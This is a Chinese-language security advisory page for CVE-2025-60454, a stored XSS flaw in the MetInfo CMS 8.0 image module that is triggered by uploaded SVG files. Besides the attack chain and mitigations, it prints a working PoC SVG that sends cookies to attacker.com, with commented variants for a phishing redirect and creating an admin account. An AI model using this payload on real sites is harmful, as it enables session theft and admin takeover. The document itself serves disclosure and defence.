IPBUF安全漏洞报告
English
CVE-2025-60454 CVSS 6.1 中危

CVE-2025-60454:MetInfo CMS 8.0 图像管理模块存储型XSS漏洞

披露日期: 2025-10-03

漏洞信息

漏洞编号
CVE-2025-60454
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
MetInfo CMS

相关标签

XSS存储型XSSStored XSS跨站脚本攻击MetInfo CMSCMS漏洞SVG文件上传文件上传漏洞CVE-2025-60454中危漏洞

漏洞概述

CVE-2025-60454是MetInfo CMS 8.0版本中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞位于系统的图像管理模块中,具体涉及文件 app\system\img\admin\img_admin.class.php 的组件逻辑。MetInfo CMS是一款广泛使用的内容管理系统,主要用于企业建站,因其易用性和丰富的模板资源在全球范围内拥有大量用户。该漏洞的CVSS 3.1评分为6.1分,属于中危级别,攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需特权(PR:N),但需要用户交互(UI:R),作用域发生变化(S:C),对机密性和完整性有低影响,对可用性无影响。

漏洞的根本原因在于图像管理模块在处理用户上传的文件时,未对SVG文件类型进行充分的安全验证和过滤。SVG(Scalable Vector Graphics)是一种基于XML的矢量图形格式,支持嵌入JavaScript脚本和外部资源引用。攻击者可以构造包含恶意JavaScript代码的SVG文件,并将其上传至MetInfo CMS的图像管理模块。由于该文件被服务器存储,当其他用户(包括管理员)访问或查看该图像时,浏览器会解析并执行SVG中嵌入的恶意脚本,从而实现XSS攻击。这种存储型XSS的危害性较大,因为恶意代码会持久化存储在服务器上,影响所有访问该资源的用户,特别是管理员用户,一旦管理员触发,可能导致会话劫持、权限提升、敏感信息泄露等严重后果。

技术细节

该漏洞的技术原理基于SVG文件的特性和MetInfo CMS图像管理模块的文件上传验证缺陷。SVG作为一种XML格式的图像文件,其规范允许在文件中嵌入<script>标签和事件处理器(如onload、onclick等),这使得SVG文件本质上可以包含可执行的JavaScript代码。

在正常的Web应用中,服务器端通常会对上传的文件进行MIME类型检查、文件扩展名验证和内容过滤,以防止恶意文件上传。然而,MetInfo CMS 8.0的图像管理模块(img_admin.class.php)在处理用户上传的图像文件时,未能正确识别和阻止包含JavaScript代码的SVG文件的上传。具体而言:

1. 文件上传阶段:攻击者通过图像管理功能上传一个精心构造的.svg文件,该文件的SVG标签内嵌入了恶意的JavaScript代码(例如通过<script>标签或onload事件属性)。

2. 服务器存储阶段:由于缺乏对SVG内容的安全过滤,服务器将恶意SVG文件作为正常图像文件存储,并在数据库中记录其路径。

3. 恶意代码执行阶段:当其他用户(特别是管理员)在浏览器中访问该图像的URL时,浏览器以image/svg+xml MIME类型解析该文件,触发其中嵌入的JavaScript代码执行。由于这是存储型XSS,恶意代码会在受害者的浏览器上下文中执行,可以窃取会话Cookie、获取CSRF Token、执行未授权操作,甚至通过管理员权限上传Webshell。

利用方式:攻击者首先需要具有图像上传权限(可能为注册用户或通过其他途径获取),然后构造包含XSS Payload的SVG文件上传至目标系统,最后诱导管理员或其他用户访问该图像链接即可触发攻击。

攻击链分析

STEP 1
步骤1:准备恶意SVG文件
攻击者构造一个包含JavaScript恶意代码的SVG文件,代码可通过<script>标签或SVG事件属性(如onload)嵌入,用于窃取Cookie、会话令牌或执行未授权操作。
STEP 2
步骤2:上传恶意文件
攻击者通过MetInfo CMS的图像管理模块(app\system\img\admin\img_admin.class.php)上传包含恶意代码的SVG文件。由于模块未对SVG内容进行安全过滤,文件被成功上传并存储在服务器上。
STEP 3
步骤3:诱导受害者访问
攻击者通过社会工程学手段(如发送钓鱼链接、在评论中嵌入图片地址等)诱导管理员或其他有权限的用户访问上传的恶意SVG图像。
STEP 4
步骤4:恶意代码执行
当受害者浏览器加载该SVG文件时,以image/svg+xml MIME类型解析并执行其中嵌入的JavaScript代码,在受害者会话上下文中执行恶意操作。
STEP 5
步骤5:权限提升与数据窃取
如果受害者为管理员,攻击者可利用窃取的会话信息执行管理操作,如创建后门账户、修改网站配置、上传Webshell或窃取敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Malicious SVG file for Stored XSS in MetInfo CMS 8.0 Image Management Module --> <!-- Save the following content as evil.svg and upload via image management module --> <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="500" height="500" onload="alert(document.cookie)"> <script type="text/javascript"> // XSS Payload: Steal cookies and send to attacker's server var cookie = document.cookie; var img = new Image(); img.src = "https://attacker.com/steal?cookie=" + encodeURIComponent(cookie); // Alternative: Redirect to phishing page // window.location = "https://attacker.com/phishing"; // Alternative: Perform actions as admin (e.g., create new admin account) // var xhr = new XMLHttpRequest(); // xhr.open("POST", "/admin/index.php?action=addadmin", true); // xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); // xhr.send("username=hacker&password=hacker123&role=admin"); </script> <rect x="0" y="0" width="500" height="500" fill="#ffffff"/> <text x="50" y="250" font-size="30" fill="#000000">Image</text> </svg> <!-- Usage: 1. Login to MetInfo CMS as a user with image upload permission 2. Navigate to Image Management module 3. Upload this evil.svg file 4. Share the image URL with admin or wait for admin to view it 5. When admin views the SVG in browser, JavaScript executes in their session -->

影响范围

MetInfo CMS 8.0

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)在Web服务器层面配置规则,拒绝上传包含<script>标签或JavaScript事件属性的.svg文件;2)在Nginx/Apache中配置SVG文件的Content-Security-Policy头,禁止内联脚本执行;3)将SVG文件的MIME类型更改为application/octet-stream,强制浏览器下载而非渲染;4)限制图像管理模块的上传权限,仅允许可信用户操作;5)部署WAF规则检测和阻止包含XSS Payload的SVG文件上传;6)监控管理员账户的异常活动,及时发现潜在的会话劫持行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表